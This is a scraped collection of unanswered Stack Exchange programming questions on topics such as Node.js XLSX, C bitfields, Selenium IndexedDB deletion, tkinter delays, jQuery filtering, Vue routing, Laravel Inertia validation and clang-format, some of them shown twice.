问:
How to add rows in Node.js using XLSX
good afternoon. I would like to ask a question because it has generated many doubts.
I am using Node.js and I am trying to create an excel with the XLSX library.
So far I can get the excel back, I download it and I have it perfect. Now what I need to do is add white space and in between add a title..
My problem with this code is that it is adding everything except the empty spaces and much less the title.

```<code>const totalobj = [
{
  Transacción: "",
  Pedido: 0,
},
{
  Transacción: "",
  Pedido: 0,
},
{
  Transacción: "RESUMEN OPERACIONES.",
  Pedido: 0,
},
{
  Transacción: "",
  Pedido: 0,
},
{
  Transacción: "",
  Pedido: 0,
},
{
  Transacción: "Cantidad de transacciones",
  Pedido: 0,
},
{
  Transacción: "Cantidad de facturas",
  Pedido: 0,
},
{
  Transacción: "Monto total de pago",
  Pedido: 0,
},
{
  Transacción: "Monto total c/comision",
  Pedido: 0,
},
{
  Transacción: "Total cargo Fijo", //4
  Pedido: 0,
},
{
  Transacción: "Total Comisiones por Tipo Tarjeta", //5
  Pedido: 0,
},
{
  Transacción: "Comisión S/IVA", //6
  Pedido: parseFloat(0),
},
{
  Transacción: "IVA sobre comisión", //7
  Pedido: 0,
},
{
  Transacción: "Ajuste administrativo", //8
  Pedido: 0,
},
{
  Transacción: "Contracargos", //9
  Pedido: 0,
},
{
  Transacción: "TOTAL a transferir", //10
  Pedido: 0,
},
];
 DATOSPROCESS IS THE INFORMATION FROM EXCEL.
for (const sumtotal in datosprocess) {
// console.log(arrayaux[sumtotal])
for (let k = 0; k < datosprocess[sumtotal].length; k++) {
  // console.log(totalobj[0].Pedido)
  if (
    datosprocess[sumtotal][k].Transacción === "Cantidad de transacciones"
  ) {
    totalobj[5].Pedido =
      totalobj[5].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Cantidad de facturas") {
    totalobj[6].Pedido =
      totalobj[6].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Monto total de pago") {
    totalobj[7].Pedido =
      totalobj[7].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Monto total c/comision") {
    totalobj[8].Pedido =
      totalobj[8].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Total cargo Fijo") {
    totalobj[9].Pedido =
      totalobj[9].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (
    datosprocess[sumtotal][k].Transacción ===
    "Total Comisiones por Tipo Tarjeta"
  ) {
    totalobj[10].Pedido =
      totalobj[10].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Comisión S/IVA") {
    totalobj[11].Pedido =
      totalobj[11].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "IVA sobre comisión") {
    totalobj[12].Pedido =
      totalobj[12].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Ajuste administrativo") {
    totalobj[13].Pedido =
      totalobj[13].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Contracargos") {
    totalobj[14].Pedido =
      totalobj[14].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "TOTAL a transferir") {
    totalobj[15].Pedido =
      totalobj[15].Pedido + datosprocess[sumtotal][k].Pedido;
  }
 }
}
</code>```

This is the Excel that I have to modify. And leave it as in the second image.
I need to be able to add those blank spaces and add that title to it. And as an additional if you can add styles to excel it would also be very good. But adding those spaces would already be happy.

And this is how the excel should look, if you can add styles to the row where SUMMARY OF OPERATIONS appears. it would be ideal. Thank you very much.

Title: How to add rows in Node.js using XLSX

Body:
good afternoon. I would like to ask a question because it has generated many doubts.
I am using Node.js and I am trying to create an excel with the XLSX library.
So far I can get the excel back, I download it and I have it perfect. Now what I need to do is add white space and in between add a title..
My problem with this code is that it is adding everything except the empty spaces and much less the title.

const totalobj = [
{
  Transacción: "",
  Pedido: 0,
},
{
  Transacción: "",
  Pedido: 0,
},
{
  Transacción: "RESUMEN OPERACIONES.",
  Pedido: 0,
},
{
  Transacción: "",
  Pedido: 0,
},
{
  Transacción: "",
  Pedido: 0,
},
{
  Transacción: "Cantidad de transacciones",
  Pedido: 0,
},
{
  Transacción: "Cantidad de facturas",
  Pedido: 0,
},
{
  Transacción: "Monto total de pago",
  Pedido: 0,
},
{
  Transacción: "Monto total c/comision",
  Pedido: 0,
},
{
  Transacción: "Total cargo Fijo", //4
  Pedido: 0,
},
{
  Transacción: "Total Comisiones por Tipo Tarjeta", //5
  Pedido: 0,
},
{
  Transacción: "Comisión S/IVA", //6
  Pedido: parseFloat(0),
},
{
  Transacción: "IVA sobre comisión", //7
  Pedido: 0,
},
{
  Transacción: "Ajuste administrativo", //8
  Pedido: 0,
},
{
  Transacción: "Contracargos", //9
  Pedido: 0,
},
{
  Transacción: "TOTAL a transferir", //10
  Pedido: 0,
},
];
 DATOSPROCESS IS THE INFORMATION FROM EXCEL.
for (const sumtotal in datosprocess) {
// console.log(arrayaux[sumtotal])
for (let k = 0; k < datosprocess[sumtotal].length; k++) {
  // console.log(totalobj[0].Pedido)
  if (
    datosprocess[sumtotal][k].Transacción === "Cantidad de transacciones"
  ) {
    totalobj[5].Pedido =
      totalobj[5].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Cantidad de facturas") {
    totalobj[6].Pedido =
      totalobj[6].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Monto total de pago") {
    totalobj[7].Pedido =
      totalobj[7].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Monto total c/comision") {
    totalobj[8].Pedido =
      totalobj[8].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Total cargo Fijo") {
    totalobj[9].Pedido =
      totalobj[9].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (
    datosprocess[sumtotal][k].Transacción ===
    "Total Comisiones por Tipo Tarjeta"
  ) {
    totalobj[10].Pedido =
      totalobj[10].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Comisión S/IVA") {
    totalobj[11].Pedido =
      totalobj[11].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "IVA sobre comisión") {
    totalobj[12].Pedido =
      totalobj[12].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Ajuste administrativo") {
    totalobj[13].Pedido =
      totalobj[13].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "Contracargos") {
    totalobj[14].Pedido =
      totalobj[14].Pedido + datosprocess[sumtotal][k].Pedido;
  }
  if (datosprocess[sumtotal][k].Transacción === "TOTAL a transferir") {
    totalobj[15].Pedido =
      totalobj[15].Pedido + datosprocess[sumtotal][k].Pedido;
  }
 }
}

This is the Excel that I have to modify. And leave it as in the second image.
I need to be able to add those blank spaces and add that title to it. And as an additional if you can add styles to excel it would also be very good. But adding those spaces would already be happy.

And this is how the excel should look, if you can add styles to the row where SUMMARY OF OPERATIONS appears. it would be ideal. Thank you very much.


来源: stackexchange

问:
NAME:NUM notation in struct elements in linux source code
I've been studying linux source code for a while now and multiple times I came across this in struct definitions.

include/linux/spi/spi.h:

```<code>struct spi_transfer {
[...]
    unsigned    dummy_data:1;
    unsigned    cs_change:1;
    unsigned    tx_nbits:3;
    unsigned    rx_nbits:3;
[...]
}
</code>```

include/linux/sched.h

```<code>struct task_struct {
[...]
    unsigned            sched_reset_on_fork:1;
    unsigned            sched_contributes_to_load:1;
    unsigned            sched_migrated:1;
[...]
</code>```

what does this number after element's name means?

I tried looking at c reference but didn't find anything or didn't know where to search.

ContentLicense: CC BY-SA 4.0

Body:
I've been studying linux source code for a while now and multiple times I came across this in struct definitions.

include/linux/spi/spi.h:

struct spi_transfer {
[...]
    unsigned    dummy_data:1;
    unsigned    cs_change:1;
    unsigned    tx_nbits:3;
    unsigned    rx_nbits:3;
[...]
}

include/linux/sched.h

struct task_struct {
[...]
    unsigned            sched_reset_on_fork:1;
    unsigned            sched_contributes_to_load:1;
    unsigned            sched_migrated:1;
[...]

what does this number after element's name means?

I tried looking at c reference but didn't find anything or didn't know where to search.


问:
Java Selenium executing a Javascript that deletes the browser IndexedDB Inbox
I have created a Java selenium automated test suite that tests a progressive web app. I want to delete the browser IndexDB in one of my tests. To do this I planned to create a 'JavascriptExecutor' onject in my Java Selenium test class. This is my code:-

```<code>JavascriptExecutor js = (JavascriptExecutor) getDriver();
js.executeScript("window.indexedDB.deleteDatabase('test-db')");
</code>```

When I run my test the browsers indexedDB is not deleted. There are no errors are thrown in the console either. I have tried running the following command manually in the browser console to make sure that the command works, and it does delete the indexedDB:-

```<code>window.indexedDB.deleteDatabase('test-db')
</code>```

What am I doing wrong?

Body:
I have created a Java selenium automated test suite that tests a progressive web app. I want to delete the browser IndexDB in one of my tests. To do this I planned to create a 'JavascriptExecutor' onject in my Java Selenium test class. This is my code:-

JavascriptExecutor js = (JavascriptExecutor) getDriver();
js.executeScript("window.indexedDB.deleteDatabase('test-db')");

When I run my test the browsers indexedDB is not deleted. There are no errors are thrown in the console either. I have tried running the following command manually in the browser console to make sure that the command works, and it does delete the indexedDB:-

window.indexedDB.deleteDatabase('test-db')

What am I doing wrong?


问:
Tkinter: Show text of second tile before flipping back over in Memory game
I have created a memory game in python using tkinter, importing pairs of words from a file and shuffling them in a list. In the GUI, when I guess a tile for the second time, I want the tile that I clicked to reveal it's word for a certain amount of time, then flip back over again (if incorrect).

This is what my code looks like right now:

```<code>class Memory():
    """GUI for the game"""
    def __init__(self):

        self.root = Tk()
        self.root.title("Memory")
        self.number_unique_words = 8
        self.placement_index = 0
        self.counter = 0
        self.words = create_word_list(self.number_unique_words) #creates a list with pairs
                                                                #of words
        self.answers = []
        self.buttons = []

        for row in range(4):
            for column in range(4):
                self.button = Button(self.root, text="", height=7, width=12, font=("DIN Alternate", 15))
                self.button.configure(command=lambda button=self.button, placement=self.placement_index: self.press_button(button, placement))
                self.button.grid(row=row, column=column)
                self.placement_index += 1

#My problem occurs here

    def press_button(self, button, placement):
        if button["text"] == "" and self.counter < 2:
            button["text"] = self.words[placement]
            self.answers.append(button["text"])
            self.buttons.append(button)
            self.counter += 1
        if len(self.answers) == 2:
            if self.answers[0] == self.answers[1]:
                for button in self.buttons:
                    button.configure(state="disabled")
                self.counter = 0
                self.answers = []
            else:
                for button in self.buttons:
                    button.configure(text="")
                self.counter = 0
                self.answers = []
                self.buttons = []
</code>```

It works like I want it to, however when I guess the second tile, it "flips" both tiles instantly;  I never get to see the word of the second tile. I want to add some sort of delay, so that

```<code>button.configure(text="")
</code>```

executes after a certain amount of time.

I have tried using sleep, although it never shows the word of the tile either, it just freezes the actual "click" of the button to what value I set. I have read about the after method but I never understood how to implement it.

Body:
I have created a memory game in python using tkinter, importing pairs of words from a file and shuffling them in a list. In the GUI, when I guess a tile for the second time, I want the tile that I clicked to reveal it's word for a certain amount of time, then flip back over again (if incorrect).

This is what my code looks like right now:

class Memory():
    """GUI for the game"""
    def __init__(self):

        self.root = Tk()
        self.root.title("Memory")
        self.number_unique_words = 8
        self.placement_index = 0
        self.counter = 0
        self.words = create_word_list(self.number_unique_words) #creates a list with pairs
                                                                #of words
        self.answers = []
        self.buttons = []

        for row in range(4):
            for column in range(4):
                self.button = Button(self.root, text="", height=7, width=12, font=("DIN Alternate", 15))
                self.button.configure(command=lambda button=self.button, placement=self.placement_index: self.press_button(button, placement))
                self.button.grid(row=row, column=column)
                self.placement_index += 1

#My problem occurs here

    def press_button(self, button, placement):
        if button["text"] == "" and self.counter < 2:
            button["text"] = self.words[placement]
            self.answers.append(button["text"])
            self.buttons.append(button)
            self.counter += 1
        if len(self.answers) == 2:
            if self.answers[0] == self.answers[1]:
                for button in self.buttons:
                    button.configure(state="disabled")
                self.counter = 0
                self.answers = []
            else:
                for button in self.buttons:
                    button.configure(text="")
                self.counter = 0
                self.answers = []
                self.buttons = []

It works like I want it to, however when I guess the second tile, it "flips" both tiles instantly;  I never get to see the word of the second tile. I want to add some sort of delay, so that

button.configure(text="")

executes after a certain amount of time.

I have tried using sleep, although it never shows the word of the tile either, it just freezes the actual "click" of the button to what value I set. I have read about the after method but I never understood how to implement it.


问:
Jquery search and filter list of 14,500 items too slow / freezing page
I have a list of 14,500 soil sampling plots from around the northeast.  Each of these plots has observation information over the last 60 years.  Currently I have a table displaying this information, and I want to have a filter so that users can search for plot IDs and get the observation information from that plot, or set of plots.

I have used an unordered list of checkboxes for the filter, which contains each of the 14k plot IDs.  I put a search bar above the list, but when I try to search for anything the UI freezes for 10-20 seconds while updating the list. I'm wondering if I'm doing this the right way, or if there is a way to have the results update more quickly?  Here is a screenshot of the site:

And here is the relevant code:

```<code><div class="filter plot d-none">
    <div class="sidebar__title"><a class="collapsed" data-bs-toggle="collapse" href="#collapsePlotID" aria-expanded="false" aria-controls="collapsePlotID"><i class="fa"></i> Plot ID</a></div>
    <div class="p-3 collapse" id="collapsePlotID">
            <div>
              <input class="form-control" type="search" id="plotID_search" placeholder="Search" />
            </div>
            <div class="form-group form-check mb-2">
                <input type="checkbox" class="form-check-input plot_checkbox" id="all_plots" checked>
                <label class="form-check-label" for="all_plots">All</label>
            </div>
        <div class="accordion" id="plotaccordionExample">
        <ul class="checkbox-menu allow-focus">
<?php foreach($plots as $plot) { ?>
          <li class="lister__item">
            <label>
                <input type="checkbox" class="plot_checkbox plot_sub_checkbox" value="<?php echo $plot['_nefin_plotID'] ?>" checked><a title="<?php echo $plot['_nefin_plotID'] ?>"><?php echo $plot['_nefin_plotID'] ?></a>
            </label>
          </li>
                <?php } ?>
        </ul>
        </div>

    </div>
</div>

 <script type="text/javascript">
  window.onload=function() {

     //plot ID search functionality
     $.expr[":"].contains_ci = $.expr.createPseudo(function(arg) {
       return function( elem ) {
         return $(elem).text().toUpperCase().indexOf(arg.toUpperCase()) >= 0;
       };
     });

// Detect a key press from keyboard in the plot ID search button
//also tried only doing this on enter, but also froze UI for 10-20 seconds
$('#plotID_search').on('keyup', function(event) {
      // Prevent the original click for not reloading the whole page
      event.preventDefault();

      // Get value from search input
      var searchInputValue = $('#plotID_search').val();

      // Species Search - Search the list and if it matches display it, else hide it
      $('.lister__item').hide().find('label:contains_ci(' + searchInputValue + ')').parents('.lister__item').show();
      //Uncheck everything and check visible inputs
      $(".plot_sub_checkbox").prop( "checked", false );
      $('.lister__item').each(function() {
           // If input is visible
           if ( $(this).is(':visible')) {
                $(this).find(":checkbox").prop( "checked", true );
           }
      });
});

}
 </script>
</code>```

Body:
I have a list of 14,500 soil sampling plots from around the northeast.  Each of these plots has observation information over the last 60 years.  Currently I have a table displaying this information, and I want to have a filter so that users can search for plot IDs and get the observation information from that plot, or set of plots.

I have used an unordered list of checkboxes for the filter, which contains each of the 14k plot IDs.  I put a search bar above the list, but when I try to search for anything the UI freezes for 10-20 seconds while updating the list. I'm wondering if I'm doing this the right way, or if there is a way to have the results update more quickly?  Here is a screenshot of the site:

And here is the relevant code:

 Plot ID

              <input class="form-control" type="search" id="plotID_search" placeholder="Search" />

                <input type="checkbox" class="form-check-input plot_checkbox" id="all_plots" checked>
                All

<?php foreach($plots as $plot) { ?>

                <input type="checkbox" class="plot_checkbox plot_sub_checkbox" value="<?php echo $plot['_nefin_plotID'] ?>" checked><a title="<?php echo $plot['_nefin_plotID'] ?>"><?php echo $plot['_nefin_plotID'] ?>

                <?php } ?>


问:
How to prevent the reference to the library from becoming a reference to a more advanced version
First of all I apologize for my English, I use google translate.

I have an ms access project that contains a reference to the PowerPoint 14.0 library, I develop it in Office 2010.

I recently had a case where one of the clients opened the file in Office 2013 or 2016 and then the reference was automatically changed to the PowerPoint 16.0 library, then he opened the file again in Office 2010 and got the "Missing reference" error, since Office 2010 does not have the Power Point 16.0 library.

The question is: Is there a way to prevent the reference from becoming a 16.0 library, and to make it always remain a reference to the 14.0 library, even if the office version is more advanced than 2010.

I know you can use late binding using the CreateObject method and avoid the references altogether, but I'd rather find a way to keep the reference because the project has a lot of constants from the PowerPoint library.


问:
TS7053: Element implicitly has an 'any' type because expression of type '0' can't be used to index type 'EventTarget'
I wrote this simple function inside a React component:

```<code>  function accessPrivateSpace(e: FormEvent<HTMLFormElement>) {
    e.preventDefault()
    const name = e.target[0].value
    navigate(`${AppRoutes.ORDER}${name}`)
  }
</code>```

But this give me this TypeScript error: TS7053: Element implicitly has an 'any' type because expression of type '0' can't be used to index type 'EventTarget'.   Property '0' does not exist on type 'EventTarget'.

It works fine with a ts-ignore, but I don't get how to make type safe. As the first value of the target can be anything, it makes sense that we get an any type.

How can I make it work without the use of ts-ignore?

Body:
I wrote this simple function inside a React component:

  function accessPrivateSpace(e: FormEvent<HTMLFormElement>) {
    e.preventDefault()
    const name = e.target[0].value
    navigate(`${AppRoutes.ORDER}${name}`)
  }

But this give me this TypeScript error: TS7053: Element implicitly has an 'any' type because expression of type '0' can't be used to index type 'EventTarget'.   Property '0' does not exist on type 'EventTarget'.

It works fine with a ts-ignore, but I don't get how to make type safe. As the first value of the target can be anything, it makes sense that we get an any type.

How can I make it work without the use of ts-ignore?


问:
VueJS 3 Blank page after setup router
I have a problem when i comment this line

```<code>import router from './routes';
</code>```

The code works and i have the Hello world message

I have no error in console

app.js

```<code>import * as Vue from 'vue';

import App from "./components/home.vue";

//import router from './routes';

const app = Vue.createApp(App);

//app.use(router);

app.mount('#app');
</code>```

routes.js

```<code>import * as VueRouter from 'vue-router';

import Home from './components/home';

const router = VueRouter.createRouter({
    mode: 'history',
    routes:[
        {
            path:'/',
            name:'home',
            component: Home
        }
    ]
});

export default router;
</code>```

home.vue

```<code><script>
export default {
    data() {
        return {}
    },
    methods: {}
}
</script>

<template>
    Hello world
</template>

</code>```

index.html

```<code>    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        {% block stylesheets %}
        {{ encore_entry_link_tags('app') }}
        {% endblock %}

        {% block javascripts %}
        {{ encore_entry_script_tags('app') }}
        {% endblock %}
    </head>
    <body>
        <div id="app">

        </div>
    </body>
    </html>

</code>```

Can you help me please

Title: VueJS 3 Blank page after setup router

Body:
I have a problem when i comment this line

import router from './routes';

The code works and i have the Hello world message

I have no error in console

app.js

import * as Vue from 'vue';

import App from "./components/home.vue";

//import router from './routes';

const app = Vue.createApp(App);

//app.use(router);

app.mount('#app');

routes.js

import * as VueRouter from 'vue-router';

import Home from './components/home';

const router = VueRouter.createRouter({
    mode: 'history',
    routes:[
        {
            path:'/',
            name:'home',
            component: Home
        }
    ]
});

export default router;

home.vue

<template>
    Hello world
</template>

index.html

    <!DOCTYPE html>

        <meta charset="UTF-8">
        {% block stylesheets %}
        {{ encore_entry_link_tags('app') }}
        {% endblock %}

        {% block javascripts %}
        {{ encore_entry_script_tags('app') }}
        {% endblock %}

Can you help me please


问:
Publish generated typescript-angular client to jfrog on build
I have a project that is generating a typescript-angular client in the target directory from an OpenAPI Specification file using the maven openapi-generator plugin. Then using the frontend-maven-plugin I install npm and node into the generated destination and I am running npm install and npm run build commands. Afterward, I updated my local .npmrc file with the JFrog registry URL and the auth hash and I am able to publish the dist folder of the generated and built client using npm publish.

What I want is to publish the generated client to the JFrog automatically on mvn build process, which is triggered via Jenkins job. The problem is that I am not able to place the modified npmrc file into the generated code. Is there any way to provide the registry and auth in the pom file or I should somehow add the npmrc to the Jenkins itself?


问:
Cannot run python commands in vs code
I cant see the run command in visual studio code.
as shown here.I am using .ipynb file
Can anyone please help me on how to resolve this error ?

I clicked on select kernel button. After that I clicked on install suggested extensions which ran successfuly, but I am still getting the same errors

Title: Cannot run python commands in vs code


问:
Rails closure_tree how to order ancestors?
I read the closure_tree docs and have tried all sorts of sorting but nothing is working so far.

```<code>@parent = @classification.ancestors.to_a
<h1>parent Classification: <%= @parent.map(&:name).join(', ') %></h1>
</code>```

Using the above produces a classification list of item3, item2, item1. I would like it in reverse from the root to the bottom so item1, item2, item3.

How do you order this?

Body:
I read the closure_tree docs and have tried all sorts of sorting but nothing is working so far.

@parent = @classification.ancestors.to_a

parent Classification: <%= @parent.map(&:name).join(', ') %>

Using the above produces a classification list of item3, item2, item1. I would like it in reverse from the root to the bottom so item1, item2, item3.

How do you order this?


问:
myeclipse javascript: "jump to" function when clicking on function name not working
this is a question about the myecplise editor plugin for eclipse.

let's take this simple example:

not so pretty javascript (because namespace is cluttered)

function blubb () {//do stuff}

blubb();

prettier javascript (because we wrap it all in variable bla to not clutter the namespace)

var bla = {
    blubb: function () {
        //do stuff
    }
}

bla.blubb();

if i press Ctrl and click on blubb() in example 1 i get taken to the function declaration. if i click on blubb() of the bla.blubb() part in example 2 i do NOT get taken to the function declaration. why??!? how can i fix it?

ContentLicense: CC BY-SA 3.0


问:
Input box inside of a td is returning empty when inside td even with .val()
I have td with a button as following. I'm trying to get the values of td's using jQuery.

When the code is outside the table in the body it takes the input just fine. It is just when the code is inside the td I am getting an empty string.

   <input type="text" id="DESCRIPTION" name="Description" placeholder="" style="resize: vertical; width: 40em; height: 85px;">
   <button id="buttonTest">Insert Ticket</button>

```
<pre class="lang-js prettyprint-override"><code>$(document).on("click", "#buttonTest", function () {
  var getInput = $("input[name='Description']").val();
  console.log("Input = " + getInput);
});
</code>```

I was expecting to get a value from I type. At first I thought it was the input box but that was not the issue at first because the input box works just fine outside of everything in just the plain body tag.

I than try logging the string and it always empty inside here.

What I believe is going on is something is causing the document to not read the string so when I click the button it only returns what it sees which is empty.

Update: Thank you for the help this is what needed to be changed

var getInput = $(this).closest("td").find("input[name='Description']").val();
```

Body:
I have td with a button as following. I'm trying to get the values of td's using jQuery.

When the code is outside the table in the body it takes the input just fine. It is just when the code is inside the td I am getting an empty string.

   <input type="text" id="DESCRIPTION" name="Description" placeholder="" style="resize: vertical; width: 40em; height: 85px;">
   <button id="buttonTest">Insert Ticket</button>

$(document).on("click", "#buttonTest", function () {
  var getInput = $("input[name='Description']").val();
  console.log("Input = " + getInput);
});

I was expecting to get a value from I type. At first I thought it was the input box but that was not the issue at first because the input box works just fine outside of everything in just the plain body tag.

I than try logging the string and it always empty inside here.

What I believe is going on is something is causing the document to not read the string so when I click the button it only returns what it sees which is empty.

Update: Thank you for the help this is what needed to be changed

var getInput = $(this).closest("td").find("input[name='Description']").val();


问:
Laravel Inertia not show validation error message and return back page (production mode)
My Laravel Inertia project is not showing error message, but return back the page.

For example: If i try to login, but not fill username and password, its will show error message that username and password is required. Then if i successfully login, and try to create 1 data (for example: city data), so after click save button, its will be back to login page.

I dont know why this happend in production mode, shared hosting, php 8.0.

My create.vue file:

```<code><template>

    <Head>
        <title>Tambah Desa Baru - {{ title() }}</title>
    </Head>
    <main class="c-main">
        <div class="container-fluid">
            <div class="fade-in">
                <div class="row">
                    <div class="col-md-12">
                        <div class="card border-0 rounded-3 shadow border-top-purple">
                            <div class="card-header">
                                <span class="font-weight-bold"><i class="fa fa-folder"></i> Tambah Desa Baru</span>
                            </div>
                            <div class="card-body">
                                <form @submit.prevent="submit">
                                    <div class="mb-3">
                                        <label class="fw-bold">Kecamatan</label>
                                        <Multiselect v-model="form.kecamatanId" :options="kecamatans" valueProp="id" label="name"
                                            trackBy="name" :searchable="true" placeholder="Pilih nama kecamatan:">
                                            <template v-slot:singlelabel="{ value }">
                                                <div class="multiselect-single-label">
                                                    {{ value.name }}
                                                </div>
                                            </template>
                                            <template v-slot:option="{ option }">
                                                {{ option.name }}
                                            </template>
                                        </Multiselect>
                                    </div>
                                    <div v-if="errors.kecamatanId" class="alert alert-danger">
                                        {{ errors.kecamatanId }}
                                    </div>
                                    <div class="mb-3">
                                        <label class="fw-bold">Nama Desa</label>
                                        <input class="form-control" v-model="form.name" :class="{ 'is-invalid': errors.name }" type="text"
                                            placeholder="Nama desa">
                                    </div>
                                    <div v-if="errors.name" class="alert alert-danger">
                                        {{ errors.name }}
                                    </div>
                                    <div class="row">
                                        <div class="col-12">
                                            <ButtonInCreateVue url="desas"></ButtonInCreateVue>
                                        </div>
                                    </div>
                                </form>

                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </main>
</template>

<script>
import LayoutApp from '../../../Layouts/App.vue';
import { Head, Link, usePage } from '@inertiajs/inertia-vue3';
import { reactive } from 'vue';
import { Inertia } from '@inertiajs/inertia';
import ButtonInCreateVue from '../../../Components/ButtonInCreate.vue'
import { successAlert } from '../../../Composables/useAlert';
import Multiselect from '@vueform/multiselect'

export default {
    layout: LayoutApp,

    components: {
        Head,
        Link,
        ButtonInCreateVue,
        Multiselect
    },

    props: {
        errors: Object,
        kecamatans: Array,
    },

    setup(props) {
        const form = reactive({
            name: '',
            kecamatanId: '',
        });

        const submit = () => {
            Inertia.post('/apps/desas', {
                name: form.name,
                kecamatanId: form.kecamatanId,
                _token: usePage().props.value.auth.csrf
            }, {
                onSuccess: () => {
                    successAlert('Desa', 'ditambah')
                },
            });
        }

        return {
            form,
            submit,
        }
    }
}
</script>

<style src="@vueform/multiselect/themes/default.css">

</style>
</code>```

My controller store:

```<code>public function store(Request $request)
    {
        $this->validate($request, [
            'kecamatanId' => 'required',
            'name' => 'required'
        ]);

        Desa::create([
            'kecamatanId' => $request->kecamatanId,
            'name' => $request->name
        ]);

        return redirect()->route('apps.desas.index');
    }
</code>```

My HandleInertiaRequest:

```<code><?php

namespace App\Http\Middleware;

use Illuminate\Http\Request;
use Inertia\Middleware;

class HandleInertiaRequests extends Middleware
{
    /**
     * The root template that's loaded on the first page visit.
     *
     * @see https://inertiajs.com/server-side-setup#root-template
     * @var string
     */
    protected $rootView = 'app';

    /**
     * Determines the current asset version.
     *
     * @see https://inertiajs.com/asset-versioning
     * @param  \Illuminate\Http\Request  $request
     * @return string|null
     */
    public function version(Request $request): ?string
    {
        return parent::version($request);
    }

    /**
     * Defines the props that are shared by default.
     *
     * @see https://inertiajs.com/shared-data
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    public function share(Request $request): array
    {
        return array_merge(parent::share($request), [
            //session
            'session' => [
                'status'    => fn () => $request->session()->get('status'),
                'success'   => fn () => $request->session()->get('success'),
                'error'     => fn () => $request->session()->get('error'),
            ],
            //user authenticated
            'auth' => [
                'user'          => $request->user() ?   $request->user() : null,
                'permissions'   => $request->user() ? $request->user()->getPermissionArray() : [],
                'csrf' => $request->session()->token()
            ],
            //route
            'route' => function () use ($request) {
                return [
                    'params' => $request->route()->parameters(),
                    'query' => $request->all(),
                ];
            },
        ]);
    }
}

</code>```

And create network return status code 302 found

Body:
My Laravel Inertia project is not showing error message, but return back the page.

For example: If i try to login, but not fill username and password, its will show error message that username and password is required. Then if i successfully login, and try to create 1 data (for example: city data), so after click save button, its will be back to login page.

I dont know why this happend in production mode, shared hosting, php 8.0.

My create.vue file:

<template>

        <title>Tambah Desa Baru - {{ title() }}</title>

                                 Tambah Desa Baru

                                <form @submit.prevent="submit">

                                        Kecamatan
                                        <Multiselect v-model="form.kecamatanId" :options="kecamatans" valueProp="id" label="name"
                                            trackBy="name" :searchable="true" placeholder="Pilih nama kecamatan:">
                                            <template v-slot:singlelabel="{ value }">

                                                    {{ value.name }}

                                            </template>
                                            <template v-slot:option="{ option }">
                                                {{ option.name }}
                                            </template>
                                        </Multiselect>

                                        {{ errors.kecamatanId }}

                                        Nama Desa
                                        <input class="form-control" v-model="form.name" :class="{ 'is-invalid': errors.name }" type="text"
                                            placeholder="Nama desa">

                                        {{ errors.name }}

                                            <ButtonInCreateVue url="desas"></ButtonInCreateVue>

                                </form>

</template>

My controller store:

public function store(Request $request)
    {
        $this->validate($request, [
            'kecamatanId' => 'required',
            'name' => 'required'
        ]);

        Desa::create([
            'kecamatanId' => $request->kecamatanId,
            'name' => $request->name
        ]);

        return redirect()->route('apps.desas.index');
    }

My HandleInertiaRequest:

<?php

namespace App\Http\Middleware;

use Illuminate\Http\Request;
use Inertia\Middleware;

class HandleInertiaRequests extends Middleware
{
    /**
     * The root template that's loaded on the first page visit.
     *
     * @see https://inertiajs.com/server-side-setup#root-template
     * @var string
     */
    protected $rootView = 'app';

    /**
     * Determines the current asset version.
     *
     * @see https://inertiajs.com/asset-versioning
     * @param  \Illuminate\Http\Request  $request
     * @return string|null
     */
    public function version(Request $request): ?string
    {
        return parent::version($request);
    }

    /**
     * Defines the props that are shared by default.
     *
     * @see https://inertiajs.com/shared-data
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    public function share(Request $request): array
    {
        return array_merge(parent::share($request), [
            //session
            'session' => [
                'status'    => fn () => $request->session()->get('status'),
                'success'   => fn () => $request->session()->get('success'),
                'error'     => fn () => $request->session()->get('error'),
            ],
            //user authenticated
            'auth' => [
                'user'          => $request->user() ?   $request->user() : null,
                'permissions'   => $request->user() ? $request->user()->getPermissionArray() : [],
                'csrf' => $request->session()->token()
            ],
            //route
            'route' => function () use ($request) {
                return [
                    'params' => $request->route()->parameters(),
                    'query' => $request->all(),
                ];
            },
        ]);
    }
}

And create network return status code 302 found


问:
Clang-format enforce using typename instead of class
Is there a way to have clang-format turn this:

```<code>template<class T>
class Foo;
</code>```

Into this:

```<code>template<typename T>
class Foo;
</code>```

Body:
Is there a way to have clang-format turn this:

template<class T>
class Foo;

Into this:

template<typename T>
class Foo;


问:
uploading image buffer file to
I am importing a jpeg base 64 url . I am then turning it into a buffer . Problem is when i upload to s3 the image does not open correctly . is there any way i can do this without using AWS s3 upload to do this .
I do not want to writefile on my local directory .
any suggestions?

